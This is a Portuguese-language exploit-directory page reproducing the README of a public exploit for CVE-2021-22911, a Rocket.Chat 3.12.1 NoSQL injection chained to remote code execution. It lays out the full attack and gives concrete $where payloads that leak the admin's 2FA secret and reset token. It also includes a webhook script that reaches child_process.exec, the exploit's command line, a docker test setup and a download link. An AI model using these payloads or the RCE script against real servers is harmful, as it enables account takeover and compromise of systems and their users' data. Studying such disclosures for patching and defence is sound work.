Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/mrdottt/cve-2021-22911
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Exploit para CVE-2021-22911: injeção NoSQL cega pré-autenticação no Rocket Chat 3.12.1 permitindo takeover de conta e execução remota de código via scripting de webhook.

Ver Repositório
12há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-22911

Injeção NoSQL cega em pré-autenticação levando à Execução Remota de Código no Rocket Chat 3.12.1

  • O método getPasswordPolicy é vulnerável a ataques de injeção NoSQL e não requer autenticação/autorização. Ele pode ser usado para assumir contas ao vazar tokens de redefinição de senha. Assumir uma conta de administrador leva à Execução Remota de Código.

Explicação

  1. Sequestro de conta do usuário ( Não autenticado )
  • Há injeção NoSQL no endpoint getPasswordPolicy no parâmetro token de redefinição de senha, que aceita um objeto json permitindo-nos usar o operador $regex. Que usamos para realizar injeção NoSQL cega para obter o token de redefinição.
  1. Escalação de privilégio para admin ( Autenticado )
  • Então, o usuário admin provavelmente está protegido por 2FA. Então, mesmo se alterarmos a senha do admin através de (1), será solicitado o código 2FA no login.

  • O endpoint da API users.list aceita um parâmetro de consulta que é vulnerável a injeção NoSQL. Também somos capazes de recuperar dados ao lançar um erro.

  • Executamos a seguinte consulta para obter o segredo 2FA do admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Em seguida, apenas fazemos (1) para redefinir a senha do admin e usamos o segredo 2FA para gerar o código que podemos usar para fazer login.

  • Atualizado: Você também pode recuperar o token de redefinição da mesma forma que recuperou o segredo 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( Autenticado - Admin )
  • O Rocket.Chat tem um recurso chamado Integrations que permite criar web hooks de entrada e saída. Esses web hooks podem ter scripts associados a eles que são executados quando o web hook é acionado.
  • Criamos uma integração com o seguinte script :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Em seguida, apenas acionamos o webhook para obter RCE :)

Uso

  • Você precisará do e-mail de um usuário com privilégios baixos que não tenha 2FA configurado. ( -u )
  • Você também precisará saber o e-mail do administrador. Não é um problema se o admin estiver protegido com 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Ambiente

  • Testado no Rocket Chat 3.12.1
  • Construindo seu próprio ambiente de teste usando docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Ative a Password Policy
  • Ative o 2FA para o Admin
  • Registre um usuário normal.

NOTA: Se você não quiser que o Administrador seja protegido com 2FA, você pode fazer o seguinte.

  1. Envie o e-mail de esqueci minha senha
  2. Obtenha o token de redefinição para o admin
  3. Altere a senha usando o token de redefinição recuperado
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Créditos

  • https://hackerone.com/reports/1130721 ( fonte sonar )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Baixar ferramenta